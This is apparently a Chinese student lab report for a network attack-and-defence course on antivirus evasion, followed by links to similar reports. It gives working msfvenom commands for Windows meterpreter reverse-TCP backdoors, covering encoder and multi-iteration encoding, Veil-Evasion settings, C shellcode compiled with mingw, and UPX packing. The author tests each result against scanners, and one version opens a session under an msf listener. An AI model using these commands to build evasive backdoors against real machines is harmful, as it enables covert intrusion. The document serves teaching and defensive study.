20145236《网络攻防》 Exp3 免杀原理与实践
20145236《网络攻防》 Exp3 免杀原理与实践
一、基础问题回答
1.杀软是如何检测出恶意代码的?
- 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
- 为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
- 判断该代码是否有恶意行为,若有就会判断代码是恶意代码。
2.免杀是做什么的?
- 通过各种手段免除计算机对恶意代码查杀即为免杀。
3.免杀的基本方法有哪些?
- (1)通过改变自身特征码
- 加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
- 进行异或、逆序或者其他手段改变自身特征码。
- 通过改变软件攻击的行为
- (2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
- 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
- 使用隧道技术。
二、离实战还缺些什么技术或步骤?
- 如何将我们制作的后门程序传到靶机上
- 如何让靶机运行这个看起来不知道有什么用途的程序…
- 如何保证自己的主机ip地址不变,随时随地都可以进行攻击
三、实践过程
1. msfvenom直接生成meterpreter可执行文件
- . 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

- 从上图可以看出,许多杀软一针见血的指出了该程序为“木马类”程序
- 有21/39的杀毒软件发现有病毒
2. Msfvenom使用编码器生成meterpreter可执行文件
(1)一次编码:
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.85.129 LPORT=5236 -f exe > fool5236.exe命令生成编码过的可执行文件fool5236.exe

- 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
- 再次使用virscan.org检测


- 我们发现有18/39的杀毒软件发现有病毒,只有微小的变化,因为AV不是吃素的,AV的工作人员都有相关做恶意代码的经验,编码这种事情肯定难不倒他们。
(2)多次编码:
- 我们尝试使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.85.129 LPORT=5236 -f exe > fool5237-e8.exe命令将文件编码10次,得到如下结果:

- 将生成的文件放到网站上扫描一下:


- 可以发现无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。
3. Veil-Evasion免杀平台
- Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:
sudo apt-get install veil-evasion
在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.85.129 //设置反弹连接IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5236 //程序名
1

该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹:

放到网站上扫描一下:


4. C语言调用Shellcode
在kali主机下,进入终端,执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f cLHOST:攻击机IPLPORT:反弹连接端口c:生成一个c语言格式的Shellcode数组

创建一个C文件:MSSC_5236.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:


使用
i686-w64-mingw32-g++ MSSC.c -o MSSC_5236.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5236.exe

放到网上检查一下:

将上面生成的数组copy到主机上,用vc编写一个C程序并编译,在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限:


程序运行后被360杀毒很快就查出来了,说明360杀毒还是挺强的:

放到网上检测一下:

小结:可以看出,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。
5. 加壳
upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名


检测一下:

实验总结
有时候看到我的杀软跳出红色界面报毒的时候感觉可安全了……现在才知道有多天真,稍作修饰我们就可以自己制作一个免杀的恶意代码,只要植入靶机那很多东西都会一览无余。
像在这次实验中,只是稍作修改,连我自己都可以做出骗过我所安装的360杀毒软件的病毒程序,可见其实我们的电脑及其不安全。
另外我看了看其他同学的博客,有说其实在VirSCAN里显示的数据并不一定准确,有的病毒在VirSCAN中扫描未查杀,但是在本机电脑杀毒软件中就报毒了,可见及时的更新自己的杀毒软件,保持最新病毒库还是很重要的。
20145236《网络攻防》 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 20155226《网络攻防》 Exp3 免杀原理与实践
20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
- 20155321 《网络攻防》 Exp3 免杀原理与实践
20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...
- 20155330 《网络攻防》 Exp3 免杀原理与实践
20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...
- 2015306 白皎 《网络攻防》Exp3 免杀原理与实践
2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...
- 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
随机推荐
- 列表与for循环
一.list列表 1.概述 变量:使用变量存储数据,但是,有一个缺点:一个变量每次只能存储一个数据 #需求:存储5个人的年龄,求他们的平均年龄 age1 = 29 age2 = 36 age3 = 3 ...
- C++解析 xml,用到pugixml库
参考网站: https://www.cnblogs.com/haomiao/p/5041065.html https://blog.csdn.net/iot_change/article/detail ...
- python 通过 pip 更新所有已安装的包
较新的 pip 已经支持 list --outdated 了,所以记录一下新的方法: pip list --outdated --format=legacy |awk '{print $1}' |xa ...
- 【工具相关】Web-ionic-ionicLab的使用
一,下载地址为:http://lab.ionic.io/,下载后直接安装即可.图标如下图所示: 二,打开ionicLab,如下图所示: 三,打开一个已有的文件,File-->Open Exist ...
- Flume初入门简单配置与使用
1.Flume在集群中扮演的角色 Flume.Kafka用来实时进行数据收集,Spark.Storm用来实时处理数据,impala用来实时查询. 2.Flume框架简介 1.1 Flume提供一个分布 ...
- 网页一键加入QQ群
三步简单实现功能:网页提供加入qq群按钮 让他人一键加入qq群 第一步:进入qq群官网:http://qun.qq.com/join.html 第二步:选择需要加入的群并生成网页代码 第三步:在网页 ...
- Android FileUtils 文件操作类
系统路径 Context.getPackageName(); // 用于获取APP的所在包目录 Context.getPackageCodePath(); //来获得当前应用程序对应的apk文件的路径 ...
- ::before和::after伪元素的妙用
场景: 假如有一天,你的在写一个前端项目,是关于一份点餐商家电话信息表,你啪塔啪塔地写完了,突然间项目经理跑过来找你,要求你在每一个商家的电话号码前都添加一个电话符号,来使得电话号码更直观和页面更美观 ...
- mybatis学习系列四--mybatis generator逆向工程
采用命令行方式执行逆向工程 1.配置文件generatorConfig.xml 保存在目录:D:\E\workspace\eclipse\mybatis_generator <?xmlversi ...
- [20180705]关于hash join 2.txt
[20180705]关于hash join 2.txt --//昨天优化sql语句,执行计划hash join right sna,加入一个约束设置XX字段not null,逻辑读从上万下降到50.- ...